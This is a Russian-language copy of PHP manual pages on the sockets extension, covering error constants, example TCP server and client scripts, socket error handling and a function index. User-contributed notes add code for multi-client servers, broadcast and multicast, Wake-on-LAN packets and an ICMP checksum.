SOCKET_ESHUTDOWN (int)
Не удаётся отправить данные из-за отключения конечной точки транспорта.
SOCKET_ETIMEDOUT (int)
Истекло время соединения.
SOCKET_ECONNREFUSED (int)
Отказ в соединении.
SOCKET_EHOSTDOWN (int)
Хост выключен.
SOCKET_EHOSTUNREACH (int)
Нет маршрута до хоста.
SOCKET_EALREADY (int)
Операция уже в прогрессе.
SOCKET_EINPROGRESS (int)
Операция сейчас в прогрессе.

Следующие константы определены только в Windows.

SOCKET_ENOPROTOOPT (int)
SOCKET_EADDRINUSE (int)
SOCKET_ETOOMYREFS (int)
SOCKET_EPROCLIM (int)
SOCKET_EDUOT (int)
SOCKET_ESTALE (int)
SOCKET_EDISCON (int)
SOCKET_SYSNOTREADY (int)
SOCKET_VERNOTSUPPORTED (int)
SOCKET_NOTINITIALISED (int)
SOCKET_HOST_NOT_FOUND (int)
SOCKET_TRY_AGAIN (int)
SOCKET_NO_RECOVERY (int)
SOCKET_NO_DATA (int)
SOCKET_NO_ADDRESS (int)

Следующие константы доступны только на UNIX-платформах. Каждая константа определена, только если её эквивалент доступен на платформе.

SOCKET_EPERM (int)
Операция не допускается.
SOCKET_ENOENT (int)
Нет такого файла или каталога.
SOCKET_EIO (int)
Ошибка ввода-вывода.
SOCKET_ENXIO (int)
Нет такого устройства или адреса.
SOCKET_E2BIG (int)
Список аргументов слишком длинный.
SOCKET_EAGAIN (int)
Попытайтесь ещё раз.
SOCKET_ENOMEM (int)
Переполнение доступной памяти.
SOCKET_ENOTBLK (int)
Требуется блочное устройство.
SOCKET_EBUSY (int)
Устройство или ресурс занято.
SOCKET_EEXIST (int)
Файл существует.
SOCKET_EXDEV (int)
Ссылка на кросс-устройство.
SOCKET_ENODEV (int)
Нет такого устройства.
SOCKET_ENOTDIR (int)
Это не каталог.
SOCKET_EISDIR (int)
Это каталог.
SOCKET_ENFILE (int)
Переполнение файловой таблицы.
SOCKET_ENOTTY (int)
Не печатающее устройство.
SOCKET_ENOSPC (int)
Не осталось места на устройстве.
SOCKET_ESPIPE (int)
Недопустимый запрос.
SOCKET_EROFS (int)
Файловая система доступна только для чтения.
SOCKET_EMLINK (int)
Слишком много ссылок.
SOCKET_EPIPE (int)
Оборванный канал.
SOCKET_ENOLCK (int)
Не доступна блокировка записи.
SOCKET_ENOSYS (int)
Функция не реализована.
SOCKET_ENOMSG (int)
Нет сообщения желаемого типа.
SOCKET_EIDRM (int)
Идентификатор удалён.
SOCKET_ECHRNG (int)
Тип канала выходит за пределы диапазона.
SOCKET_EL2NSYNC (int)
Уровень 2 не синхронизирован.
SOCKET_EL3HLT (int)
Уровень 3 остановлен.
SOCKET_EL3RST (int)
Уровень 3 сброшен.
SOCKET_ELNRNG (int)
Номер ссылки выходит за пределы диапазона.
SOCKET_EUNATCH (int)
Драйвер протокола не подключён.
SOCKET_ENOCSI (int)
CSI-структура недоступна.
SOCKET_EL2HLT (int)
Уровень 2 остановлен.
SOCKET_EBADE (int)
Недопустимый коммутатор.
SOCKET_EBADR (int)
Недопустимый дескриптор запроса.
SOCKET_EXFULL (int)
Коммутатор заполнен.
SOCKET_ENOANO (int)
Не anode.
SOCKET_EBADRQC (int)
Недопустимый код запроса.
SOCKET_EBADSLT (int)
Недопустимый слот.
SOCKET_ENOSTR (int)
Устройство не является потоковым.
SOCKET_ENODATA (int)
Нет доступных данных.
SOCKET_ETIME (int)
Таймер истёк.
SOCKET_ENOSR (int)
Кончились потоковые ресурсы.
SOCKET_ENONET (int)
Машина не подключена к сети.
SOCKET_ENOLINK (int)
Ссылка была разорвана.
SOCKET_EADV (int)
Ошибка объявления (advertise).
SOCKET_ESRMNT (int)
Ошибка Srmount.
SOCKET_ECOMM (int)
Ошибка связи при отправке.
SOCKET_EPROTO (int)
Ошибка протокола.
SOCKET_EMULTIHOP (int)
Попытка перескочить на недоступный ресурс (multihop).
SOCKET_EBADMSG (int)
Не является сообщением с данными.
SOCKET_ENOTUNIQ (int)
Имя не уникальное в сети.
SOCKET_EBADFD (int)
Файловый указатель в неверном состоянии.
SOCKET_EREMCHG (int)
Удалённый адрес изменился.
SOCKET_ERESTART (int)
Прерванный системный вызов должен быть перезапущен.
SOCKET_ESTRPIPE (int)
Ошибка канала потока.
SOCKET_EPROTOOPT (int)
Протокол недоступен.
SOCKET_ADDRINUSE (int)
Адрес уже в использовании.
SOCKET_ETOOMANYREFS (int)
Слишком много ссылок: не могу соединить.
SOCKET_EISNAM (int)
Именованный тип файла.
SOCKET_EREMOTEIO (int)
Ошибка удалённого ввода-вывода.
SOCKET_EDQUOT (int)
Квота превышена.
SOCKET_ENOMEDIUM (int)
Носитель не найден.
SOCKET_EMEDIUMTYPE (int)
Неверный тип носителя.
SCM_RIGHTS (int)
Отправить или получить набор дескрипторов открытых файлов из другого процесса.
SCM_CREDENTIALS (int)
SCM_CREDS (int)
Константа доступна, начиная с PHP 8.2.0.
SCM_CREDS2 (int)
Константа доступна, начиная с PHP 8.2.0.
LOCAL_CREDS (int)
Константа доступна, начиная с PHP 8.2.0.
LOCAL_CREDS_PERSISTENT (int)
Константа доступна, начиная с PHP 8.2.0.
SKF_AD_OFF (int)
Константа доступна, начиная с PHP 8.2.0.
SKF_AD_PROTOCOL (int)
Константа доступна, начиная с PHP 8.2.0.
SKF_AD_PKTTYPE (int)
Константа доступна, начиная с PHP 8.2.0.
SKF_AD_IFINDEX (int)
Константа доступна, начиная с PHP 8.2.0.
SKF_AD_NLATTR (int)
Константа доступна, начиная с PHP 8.2.0.
SKF_AD_NLATTR_NEST (int)
Константа доступна, начиная с PHP 8.2.0.
SKF_AD_MARK (int)
Константа доступна, начиная с PHP 8.2.0.
SKF_AD_QUEUE (int)
Константа доступна, начиная с PHP 8.2.0.
SKF_AD_HATYPE (int)
Константа доступна, начиная с PHP 8.2.0.
SKF_AD_RXHASH (int)
Константа доступна, начиная с PHP 8.2.0.
SKF_AD_CPU (int)
Константа доступна, начиная с PHP 8.2.0.
SKF_AD_ALU_XOR_X (int)
Константа доступна, начиная с PHP 8.2.0.
SKF_AD_VLAN_TAG (int)
Константа доступна, начиная с PHP 8.2.0.
SKF_AD_VLAN_TAG_PRESENT (int)
Константа доступна, начиная с PHP 8.2.0.
SKF_AD_PAY_OFFSET (int)
Константа доступна, начиная с PHP 8.2.0.
SKF_AD_RANDOM (int)
Константа доступна, начиная с PHP 8.2.0.
SKF_AD_VLAN_TPID (int)
Константа доступна, начиная с PHP 8.2.0.
SKF_AD_MAX (int)
Константа доступна, начиная с PHP 8.2.0.

User Contributed Notes

kenverhaegen at gmail dot com 15-Apr-2020 10:14
Seems like SOCKET_EAGAIN is an alias of SOCKET_EWOULDBLOCK (int 11)
yyb8 at vip dot qq dot com 03-Apr-2017 05:44
note:Linux kernel 3.9  now support SO_REUSEPORT option
gvgvgvijayan at gmail dot com 07-Jun-2013 02:15
$a = get_defined_constants(TRUE);
foreach ($a as $k => $v) {
    printf('%-25s <br/>', $k);
    foreach ($v as $k => $v) {
        printf('&nbsp;&nbsp;&nbsp;&nbsp--->%-25s %d<br/>', $k, $v);
    }
}

this may look duplicate for previous anonymous post but that code snippet only return 1 for constants value
1-->first called the get_defined_constants by passing argument true to categorize the data
2-->then using foreach iterate over index of the array
3-->here printf is used to print title of the category
4-->then it move on to interrior array and display the list of contants available in each category along with its value
Anonymous 14-Apr-2012 03:20
We can know sockets constants values with :

<?php
$a = get_defined_constants(TRUE) ;
foreach ( $a['sockets'] as $constant => $value ) {
    printf("%-25s %d\r\n", $constant, $value) ;
}
?>

AF_UNIX                   1
AF_INET                   2
AF_INET6                  23
SOCK_STREAM               1
SOCK_DGRAM                2
SOCK_RAW                  3
SOCK_SEQPACKET            5
SOCK_RDM                  4
MSG_OOB                   1
MSG_WAITALL               0
MSG_PEEK                  2
MSG_DONTROUTE             4
SO_DEBUG                  1
SO_REUSEADDR              4
SO_KEEPALIVE              8
SO_DONTROUTE              16
SO_LINGER                 128
SO_BROADCAST              32
SO_OOBINLINE              256
SO_SNDBUF                 4097
SO_RCVBUF                 4098
SO_SNDLOWAT               4099
SO_RCVLOWAT               4100
SO_SNDTIMEO               4101
SO_RCVTIMEO               4102
SO_TYPE                   4104
SO_ERROR                  4103
SOL_SOCKET                65535
SOMAXCONN                 2147483647
TCP_NODELAY               1
PHP_NORMAL_READ           1
PHP_BINARY_READ           2
SOCKET_EINTR              10004
SOCKET_EBADF              10009
SOCKET_EACCES             10013
SOCKET_EFAULT             10014
SOCKET_EINVAL             10022
SOCKET_EMFILE             10024
SOCKET_EWOULDBLOCK        10035
SOCKET_EINPROGRESS        10036
SOCKET_EALREADY           10037
SOCKET_ENOTSOCK           10038
SOCKET_EDESTADDRREQ       10039
SOCKET_EMSGSIZE           10040
SOCKET_EPROTOTYPE         10041
SOCKET_ENOPROTOOPT        10042
SOCKET_EPROTONOSUPPORT    10043
SOCKET_ESOCKTNOSUPPORT    10044
SOCKET_EOPNOTSUPP         10045
SOCKET_EPFNOSUPPORT       10046
SOCKET_EAFNOSUPPORT       10047
SOCKET_EADDRINUSE         10048
SOCKET_EADDRNOTAVAIL      10049
SOCKET_ENETDOWN           10050
SOCKET_ENETUNREACH        10051
SOCKET_ENETRESET          10052
SOCKET_ECONNABORTED       10053
SOCKET_ECONNRESET         10054
SOCKET_ENOBUFS            10055
SOCKET_EISCONN            10056
SOCKET_ENOTCONN           10057
SOCKET_ESHUTDOWN          10058
SOCKET_ETOOMANYREFS       10059
SOCKET_ETIMEDOUT          10060
SOCKET_ECONNREFUSED       10061
SOCKET_ELOOP              10062
SOCKET_ENAMETOOLONG       10063
SOCKET_EHOSTDOWN          10064
SOCKET_EHOSTUNREACH       10065
SOCKET_ENOTEMPTY          10066
SOCKET_EPROCLIM           10067
SOCKET_EUSERS             10068
SOCKET_EDQUOT             10069
SOCKET_ESTALE             10070
SOCKET_EREMOTE            10071
SOCKET_EDISCON            10101
SOCKET_SYSNOTREADY        10091
SOCKET_VERNOTSUPPORTED    10092
SOCKET_NOTINITIALISED     10093
SOCKET_HOST_NOT_FOUND     11001
SOCKET_TRY_AGAIN          11002
SOCKET_NO_RECOVERY        11003
SOCKET_NO_DATA            11004
SOCKET_NO_ADDRESS         11004
SOL_TCP                   6
SOL_UDP                   17


Примеры

Пример #1 Пример использования сокетов: Простой сервер TCP/IP

Этот пример показывает работу простого сервера. Измените переменные address и port в соответствии с вашими настройками и выполните. Затем вы можете соединиться с сервером с командой, похожей на: telnet 192.168.1.53 10000 (где адрес и порт должны соответствовать вашим настройкам). Всё, что вы наберёте на клавиатуре, будет затем выведено на сервере и отправлено вам обратно. Для отключения наберите 'выход'.

#!/usr/local/bin/php -q
<?php
error_reporting(E_ALL);

/* Позволяет скрипту ожидать соединения бесконечно. */
set_time_limit(0);

/* Включает скрытое очищение вывода так, что мы видим данные
* как только они появляются. */
ob_implicit_flush();

$address = '192.168.1.53';
$port = 10000;

if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) {
echo "Не удалось выполнить socket_create(): причина: " . socket_strerror(socket_last_error()) . "\n";
}

if (socket_bind($sock, $address, $port) === false) {
echo "Не удалось выполнить socket_bind(): причина: " . socket_strerror(socket_last_error($sock)) . "\n";
}

if (socket_listen($sock, 5) === false) {
echo "Не удалось выполнить socket_listen(): причина: " . socket_strerror(socket_last_error($sock)) . "\n";
}

do {
if (($msgsock = socket_accept($sock)) === false) {
echo "Не удалось выполнить socket_accept(): причина: " . socket_strerror(socket_last_error($sock)) . "\n";
break;
}
/* Отправляем инструкции. */
$msg = "\nДобро пожаловать на тестовый сервер PHP. \n" .
"Чтобы отключиться, наберите 'выход'. Чтобы выключить сервер, наберите 'выключение'.\n";
socket_write($msgsock, $msg, strlen($msg));

do {
if (false === ($buf = socket_read($msgsock, 2048, PHP_NORMAL_READ))) {
echo "Не удалось выполнить socket_read(): причина: " . socket_strerror(socket_last_error($msgsock)) . "\n";
break 2;
}
if (!$buf = trim($buf)) {
continue;
}
if ($buf == 'выход') {
break;
}
if ($buf == 'выключение') {
socket_close($msgsock);
break 2;
}
$talkback = "PHP: Вы сказали '$buf'.\n";
socket_write($msgsock, $talkback, strlen($talkback));
echo "$buf\n";
} while (true);
socket_close($msgsock);
} while (true);

socket_close($sock);
?>

Пример #2 Пример использования сокетов: Простой клиент TCP/IP

Этот пример показывает использование простого одноразового HTTP-клиента. Он просто соединяется со страницей, отправляет запрос HEAD, выводит ответ и завершает работу.

<?php
error_reporting(E_ALL);

echo "<h2>Соединение TCP/IP</h2>\n";

/* Получаем порт сервиса WWW. */
$service_port = getservbyname('www', 'tcp');

/* Получаем IP-адрес целевого хоста. */
$address = gethostbyname('www.example.com');

/* Создаём сокет TCP/IP. */
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket === false) {
echo "Не удалось выполнить socket_create(): причина: " . socket_strerror(socket_last_error()) . "\n";
} else {
echo "OK.\n";
}

echo "Пытаемся соединиться с '$address' на порту '$service_port'...";
$result = socket_connect($socket, $address, $service_port);
if ($result === false) {
echo "Не удалось выполнить socket_connect().\nПричина: ($result) " . socket_strerror(socket_last_error($socket)) . "\n";
} else {
echo "OK.\n";
}

$in = "HEAD / HTTP/1.1\r\n";
$in .= "Host: www.example.com\r\n";
$in .= "Connection: Close\r\n\r\n";
$out = '';

echo "Отправляем HTTP-запрос HEAD...";
socket_write($socket, $in, strlen($in));
echo "OK.\n";

echo "Читаем ответ:\n\n";
while ($out = socket_read($socket, 2048)) {
echo $out;
}

echo "Закрываем сокет...";
socket_close($socket);
echo "OK.\n\n";
?>

User Contributed Notes

Timofey Bugaevsky 25-Dec-2022 03:53
Good example from Javier.

For using in docker container you can use 0 as an address:
$address = '0';

To broadcast a message to all clients, you can use socket_write() for all required clients:
...
    // Handle Input
    foreach ($clients as $key => $client) {
        if (in_array($client, $read)) {
            ...
            if ($buf == 'message') {
                $talkback = "$buf $key\n";
                foreach ($clients as $curClient) {
                    socket_write($curClient, $talkback, strlen($talkback));
                }
                continue;
            }
            ...
        }
    }
...
zital at riseup dot net 29-May-2017 08:16
due to PHP standars modify the code to:
<?php
//...
    $write = NULL;
    $except = NULL;
    $tv_sec = 5;

    // Set up a blocking call to socket_select
    if(socket_select($read, $write, $except, $tv_sec) < 1)
//...
?>
javier,javiern at gmail dot com 30-Aug-2012 07:25
You can easily extend the first example to handle any number of connections instead of jsut one

#!/usr/bin/env php
<?php
error_reporting(E_ALL);

/* Permitir al script esperar para conexiones. */
set_time_limit(0);

/* Activar el volcado de salida implicito, asi veremos lo que estamo obteniendo
 * mientras llega. */
ob_implicit_flush();

$address = '127.0.0.1';
$port = 10000;

if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) {
    echo "socket_create() fallo: razon: " . socket_strerror(socket_last_error()) . "\n";
}

if (socket_bind($sock, $address, $port) === false) {
    echo "socket_bind() fallo: razon: " . socket_strerror(socket_last_error($sock)) . "\n";
}

if (socket_listen($sock, 5) === false) {
    echo "socket_listen() fallo: razon: " . socket_strerror(socket_last_error($sock)) . "\n";
}

//clients array
$clients = array();

do {
    $read = array();
    $read[] = $sock;

    $read = array_merge($read,$clients);

    // Set up a blocking call to socket_select
    if(socket_select($read,$write = NULL, $except = NULL, $tv_sec = 5) < 1)
    {
        //    SocketServer::debug("Problem blocking socket_select?");
        continue;
    }

    // Handle new Connections
    if (in_array($sock, $read)) {

        if (($msgsock = socket_accept($sock)) === false) {
            echo "socket_accept() fallo: razon: " . socket_strerror(socket_last_error($sock)) . "\n";
            break;
        }
        $clients[] = $msgsock;
        $key = array_keys($clients, $msgsock);
        /* Enviar instrucciones. */
        $msg = "\nBienvenido al Servidor De Prueba de PHP. \n" .
        "Usted es el cliente numero: {$key[0]}\n" .
        "Para salir, escriba 'quit'. Para cerrar el servidor escriba 'shutdown'.\n";
        socket_write($msgsock, $msg, strlen($msg));

    }

    // Handle Input
    foreach ($clients as $key => $client) { // for each client
        if (in_array($client, $read)) {
            if (false === ($buf = socket_read($client, 2048, PHP_NORMAL_READ))) {
                echo "socket_read() fallo: razon: " . socket_strerror(socket_last_error($client)) . "\n";
                break 2;
            }
            if (!$buf = trim($buf)) {
                continue;
            }
            if ($buf == 'quit') {
                unset($clients[$key]);
                socket_close($client);
                break;
            }
            if ($buf == 'shutdown') {
                socket_close($client);
                break 2;
            }
            $talkback = "Cliente {$key}: Usted dijo '$buf'.\n";
            socket_write($client, $talkback, strlen($talkback));
            echo "$buf\n";
        }

    }
} while (true);

socket_close($sock);
?>


Ошибки сокетов

Модуль socket был написан для обеспечения удобного интерфейса к сокетам BSD. Были приняты необходимые меры для того, чтобы эти функции работали одинаково хорошо в реализации как для Win32, так и Unix. Почти все функции, при определённых условиях, могут завершиться с ошибкой и вызовут ошибку уровня E_WARNING. Иногда, разработчики препятствуют этому. Например, функция socket_read() может внезапно вызвать ошибку уровня E_WARNING, потому что соединение неожиданно оборвалось. Обычная практика подавлять предупреждение при помощи оператора @ и перехватывать код ошибки в приложении при помощи функции socket_last_error(). Вы можете вызывать функцию socket_strerror() с кодом ошибки для получения строки, описывающей ошибку. Смотрите описание этих функций для более подробной информации.

Замечание:

Сообщения E_WARNING, вызываемые модулем socket, будут на английском языке, а полученное сообщение об ошибке будет появляться в зависимости от настроек текущей локали (LC_MESSAGES):

Warning - socket_bind() unable to bind address [98]: Die Adresse wird bereits verwendet

User Contributed Notes

There are no user contributed notes for this page.


Функции сокета

Содержание

  • socket_accept — Принимает соединение на сокете
  • socket_addrinfo_bind — Создать и привязать к сокету из указанного addrinfo
  • socket_addrinfo_connect — Создать и подключиться к сокету из указанного addrinfo
  • socket_addrinfo_explain — Получить информацию о addrinfo
  • socket_addrinfo_lookup — Получить массив с содержимым getaddrinfo про указанное имя хоста
  • socket_atmark — Determines whether socket is at out-of-band mark
  • socket_bind — Привязывает имя к сокету
  • socket_clear_error — Очищает ошибку на сокете или последний код ошибки
  • socket_close — Закрывает экземпляр Socket
  • socket_cmsg_space — Вычислить размер буфера сообщения
  • socket_connect — Начинает соединение с сокетом
  • socket_create_listen — Открывает сокет на указанном порту для принятия соединений
  • socket_create_pair — Создаёт пару неразличимых сокетов и сохраняет их в массиве
  • socket_create — Создаёт сокет (конечную точку для обмена информацией)
  • socket_export_stream — Экспортировать сокет в поток, инкапсулирующий сокет
  • socket_get_option — Получает опции потока для сокета
  • socket_getopt — Псевдоним socket_get_option
  • socket_getpeername — Запрашивает удалённую сторону указанного сокета, в результате может быть возвращён хост/порт или путь в файловой системе Unix, в зависимости от типа сокета
  • socket_getsockname — Запрашивает локальную сторону указанного сокета, в результате можно получить хост/порт или путь в файловой системе Unix, в зависимости от типа сокета
  • socket_import_stream — Импортировать поток
  • socket_last_error — Возвращает последнюю ошибку на сокете
  • socket_listen — Прослушивает входящие соединения на сокете
  • socket_read — Читает строку максимальную длину байт из сокета
  • socket_recv — Получает данные из подсоединённого сокета
  • socket_recvfrom — Получает данные из сокета, независимо от того, подсоединён он или нет
  • socket_recvmsg — Прочитать сообщение
  • socket_select — Запускает системный вызов select() для заданных массивов сокетов с указанным временем ожидания
  • socket_send — Отправляет данные в подсоединённый сокет
  • socket_sendmsg — Отправить сообщение
  • socket_sendto — Отправляет сообщение в сокет, независимо от того, подсоединён он или нет
  • socket_set_block — Устанавливает блокирующий режим на сокете
  • socket_set_nonblock — Устанавливает неблокирующий режим для файлового дескриптора fd
  • socket_set_option — Устанавливает опции для сокета
  • socket_setopt — Псевдоним socket_set_option
  • socket_shutdown — Завершает работу сокета на получение и/или отправку данных
  • socket_strerror — Возвращает строку, описывающую ошибку сокета
  • socket_write — Запись в сокет
  • socket_wsaprotocol_info_export — Экспорт структуры WSAPROTOCOL_INFO
  • socket_wsaprotocol_info_import — Импортирует сокет из другого процесса
  • socket_wsaprotocol_info_release — Высвобождает экспортированную структуру WSAPROTOCOL_INFO

User Contributed Notes

paul dot hodel at gmail dot com 10-Sep-2011 04:39
After many non-sleep nights I got the most simple multi-client server written in PHP that really works. Ctrl+C and Ctrl+V... use as command line to test it. Enjoy it.

<?php

ini_set('error_reporting', E_ALL ^ E_NOTICE);
ini_set('display_errors', 1);

// Set time limit to indefinite execution
set_time_limit (0);

// Set the ip and port we will listen on
$address = '10.203.9.67';
$port = 6901;

// Create a TCP Stream socket
$sock = socket_create(AF_INET, SOCK_STREAM, 0);

// Bind the socket to an address/port
socket_bind($sock, $address, $port) or die('Could not bind to address');

// Start listening for connections
socket_listen($sock);

// Non block socket type
socket_set_nonblock($sock);

// Loop continuously
while (true)
{
    unset($read);

    $j = 0;

    if (count($client))
    {
        foreach ($client AS $k => $v)
        {
            $read[$j] = $v;

            $j++;
        }
    }

    $client = $read;

    if ($newsock = @socket_accept($sock))
    {
        if (is_resource($newsock))
        {
            socket_write($newsock, "$j>", 2).chr(0);

            echo "New client connected $j";

            $client[$j] = $newsock;

            $j++;
        }
    }

    if (count($client))
    {
        foreach ($client AS $k => $v)
        {
            if (@socket_recv($v, $string, 1024, MSG_DONTWAIT) === 0)
            {
                unset($client[$k]);

                socket_close($v);
            }
            else
            {
                if ($string)
                {
                    echo "$k: $string\n";
                }
            }
        }
    }

    //echo ".";

    sleep(1);
}

// Close the master sockets
socket_close($sock);
?>
davidccook+php at gmail dot com 04-Aug-2008 09:25
Planning on sending integer values through as socket, I was surprised to find PHP only supports sending strings.
I came to the conclusion the only way to do it would be to create a string that would evaluate to the same byte values as the integer I wanted to send. So (after much messing about) I created a couple of functions: one to create this 'string' and one to convert a received value back to an integer.

<?php
//Converts an integer to 'byte array' (string), default to 4 'bytes' (chars)
function int2string($int, $numbytes=4)
{
   $str = "";
   for ($i=0; $i < $numbytes; $i++) {
     $str .= chr($int % 256);
     $int = $int / 256;
   }
   return $str;
}

//Converts a 'byte array' (string) to integer
function string2int($str)
{
   $numbytes = strlen($str);
   $int = 0;
   for ($i=0; $i < $numbytes; $i++) {
     $int += ord($str[$i]) * pow(2, $i * 8);
   }
   return $int;
}

//Example
echo int2string(16705, 2); // 16-bit integer converts to two bytes: 65, 65; which in turn is 'AA'
echo string2int('AA'); //back the other way
?>
firefly2442 at hotmail dot com 29-Mar-2008 12:31
Here's a simple script for sending messages back and forth between a server and client.  At this point, the code is fairly rough because once it enters the while loop, it doesn't stop but it can be modified and fixed.  Enjoy.

<?php
//The Server
error_reporting(E_ALL);
$address = "127.0.0.1";
$port = "10000";

/* create a socket in the AF_INET family, using SOCK_STREAM for TCP connection */
$mysock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

socket_bind($mysock, $address, $port);

socket_listen($mysock, 5);

$client = socket_accept($mysock);

echo "Server started, accepting connections...\n";

$i = 0;
while (true == true)
{
    $i++;
    echo "Sending $i to client.\n";
    socket_write($client, $i, strlen($i));

    $input = socket_read($client, 2048);
    echo "Response from client is: $input\n";
    sleep(5);
}

echo "Closing sockets...";
socket_close($client);

socket_close($mysock);

?>

<?php
//The Client
error_reporting(E_ALL);

$address = "127.0.0.1";
$port = 10000;

/* Create a TCP/IP socket. */
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket === false) {
    echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "\n";
} else {
    echo "socket successfully created.\n";
}

echo "Attempting to connect to '$address' on port '$port'...";
$result = socket_connect($socket, $address, $port);
if ($result === false) {
    echo "socket_connect() failed.\nReason: ($result) " . socket_strerror(socket_last_error($socket)) . "\n";
} else {
    echo "successfully connected to $address.\n";
}

$i = 0;
while (true == true)
{
    $i++;
    echo "Sending $i to server.\n";
    socket_write($socket, $i, strlen($i));

    $input = socket_read($socket, 2048);
    echo "Response from server is: $input\n";
    sleep(5);
}

echo "Closing socket...";
socket_close($socket);
?>
david dot schueler at tel-bilig dot de 14-Jan-2008 03:02
NOTE! If you are trying to send a broadcast-message using this code you _may_ get a "Permission denied"-Error at socket_connect, even if you are running this as root on a linux box.
<?php
$sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
socket_connect($sock,"255.255.255.255", 10000);
socket_set_option($sock, SOL_SOCKET, SO_BROADCAST, 1);
$buf = "Hello World!";
socket_write($sock,$buf,strlen($buf));
socket_close($sock);
?>
The only workaround for this is to get the broadcast address of the interface and walk through all IPs with a for-loop.
White-Gandalf 02-Sep-2007 12:03
At the moment (2007-09), i don't find this extension in the PECL, but instead in the usual php extension directory. It needs to be included in the php-ini:

extension = php_sockets.dll

(or ".so" - whatever for your system).
roberto at spadim dot com dot br 11-Feb-2007 10:27
Wake on Lan , working ok without configurations, and some features

<?php
function wake_on_lan($mac,$addr=false,$port=7) {
    //Usage
    //    $addr:
    //    You will send and broadcast tho this addres.
    //    Normaly you need to use the 255.255.255.255 adres, so i made it as default. So you don't need
    //    to do anything with this.
    //    Since 255.255.255.255 have permission denied problems you can use addr=false to get all broadcast address from ifconfig command
    //    addr can be array with broadcast IP values
    //    $mac:
    //    You will WAKE-UP this WOL-enabled computer, you need to add the MAC-addres here.
    //    Mac can be array too
    //
    //Return
    //    TRUE:    When socked was created succesvolly and the message has been send.
    //    FALSE:    Something went wrong
    //
    //Example 1
    //    When the message has been send you will see the message "Done...."
    //    if ( wake_on_lan('00:00:00:00:00:00'))
    //        echo 'Done...';
    //    else
    //        echo 'Error while sending';
    //
    if ($addr===false){
        exec("ifconfig | grep Bcast | cut -d \":\" -f 3 | cut -d \" \" -f 1",$addr);
        $addr=array_flip(array_flip($addr));
    }
    if(is_array($addr)){
        $last_ret=false;
        for ($i=0;$i<count($ret);$i++)
            if ($ret[$i]!==false)
                $last_ret=wake_on_lan($mac,$ret[$i],$port);
        return($last_ret);
    }
    if (is_array($mac)){
        $ret=array();
        foreach($mac as $k=>v)
            $ret[$k]=wake_on_lan($v,$addr,$port);
        return($ret);
    }
    //Check if it's an real MAC-addres and split it into an array
    $mac=strtoupper($mac);
    if (!preg_match("/([A-F0-9]{1,2}[-:]){5}[A-F0-9]{1,2}/",$mac,$maccheck))
        return false;
    $addr_byte = preg_split("/[-:]/",$maccheck[0]);

    //Creating hardware adress
    $hw_addr = '';
    for ($a=0; $a < 6; $a++)//Changing mac adres from HEXEDECIMAL to DECIMAL
        $hw_addr .= chr(hexdec($addr_byte[$a]));

    //Create package data
    $msg = str_repeat(chr(255),6);
    for ($a = 1; $a <= 16; $a++)
        $msg .= $hw_addr;
    //Sending data
    if (function_exists('socket_create')){
        //socket_create exists
        $sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);    //Can create the socket
        if ($sock){
            $sock_data = socket_set_option($sock, SOL_SOCKET, SO_BROADCAST, 1); //Set
            if ($sock_data){
                $sock_data = socket_sendto($sock, $msg, strlen($msg), 0, $addr,$port); //Send data
                if ($sock_data){
                    socket_close($sock); //Close socket
                    unset($sock);
                    return(true);
                }
            }
        }
        @socket_close($sock);
        unset($sock);
    }
    $sock=fsockopen("udp://" . $addr, $port);
    if($sock){
        $ret=fwrite($sock,$msg);
        fclose($sock);
    }
    if($ret)
        return(true);
    return(false);
}
?>
aeolianmeson at NOSPAM dot blitzeclipse dot com 30-May-2006 12:13
There is a fantastic book on this library called 'TCP/IP Sockets in C' (ISBN 1558608265), that covers all of the ins and outs, quirks, and everything else that goes on. It's written for C, of course, but it could have easily been written for PHP with almost no serious code differences.

Dustin
f.moisant 18-May-2006 05:41
This function to send Magic Packet works really !!!

/********/
<?php
function wake($ip, $mac, $port)
{
  $nic = fsockopen("udp://" . $ip, $port);
  if($nic)
  {
    $packet = "";
    for($i = 0; $i < 6; $i++)
       $packet .= chr(0xFF);
    for($j = 0; $j < 16; $j++)
    {
      for($k = 0; $k < 6; $k++)
      {
        $str = substr($mac, $k * 2, 2);
        $dec = hexdec($str);
        $packet .= chr($dec);
      }
    }
    $ret = fwrite($nic, $packet);
    fclose($nic);
    if($ret)
      return true;
  }
  return false;
}
?>

/********/

Executed with:
wake('123.123.123.123', '112233445566', 9);
goldemish at tiscali dot it 24-Apr-2006 06:52
Function to send Magic Packets for Wake on Wan (WOW) or Wake on Lan(WOL), without sockets library.

<?
function WakeOnLan($ip, $mac, $port)
{
        $packet = "";
        for($i = 0; $i < 6; $i++) $packet .= chr(0xFF);
        for($i = 0; $i < 6; $i++) $packet .= chr((int)substr($mac, $i, $i + 2));
        $nic = fsockopen("udp://" . $ip, $port));
        if($nic==false){
            return false;
            fclose($nic);
        }
        fwrite($nic, $packet);
        fclose($nic);
        return true;
}
?>
bmatheny at mobocracy dot net 16-Sep-2005 06:31
A multicast server can be written badly as follows:

$bc_string = "Hello World!";
$sock = socket_create(AF_INET, SOCK_DGRAM, 0);
$opt_ret = socket_set_option($sock, 1, 6, TRUE);
$send_ret = socket_sendto($sock, $bc_string, strlen($bc_string), 0, '230.0.0.1', 4446);

Checking the return types is needed, but this does allow for you to multicast from php code.
philip at birk-jensen dot dk 22-Aug-2005 06:22
I've been using the ICMP Checksum calculation function written by Khaless [at] bigpond [dot] com. But when having an odd length of data, it failed, so I made my own instead, which adds a 0 if the data length is odd:
<?php
function icmpChecksum($data)
{
    // Add a 0 to the end of the data, if it's an "odd length"
    if (strlen($data)%2)
        $data .= "\x00";

    // Let PHP do all the dirty work
    $bit = unpack('n*', $data);
    $sum = array_sum($bit);

    // Stolen from: Khaless [at] bigpond [dot] com
    // The code from the original ping program:
    //    sum = (sum >> 16) + (sum & 0xffff);    /* add hi 16 to low 16 */
    //    sum += (sum >> 16);            /* add carry */
    // which also works fine, but it seems to me that
    // Khaless will work on large data.
    while ($sum>>16)
        $sum = ($sum >> 16) + ($sum & 0xffff);

    return pack('n*', ~$sum);
}
?>
aidan at php dot net 18-Aug-2004 05:08
hexdump() is a fantastic function for "dumping" packets or binary output from servers. See the below link for more information.

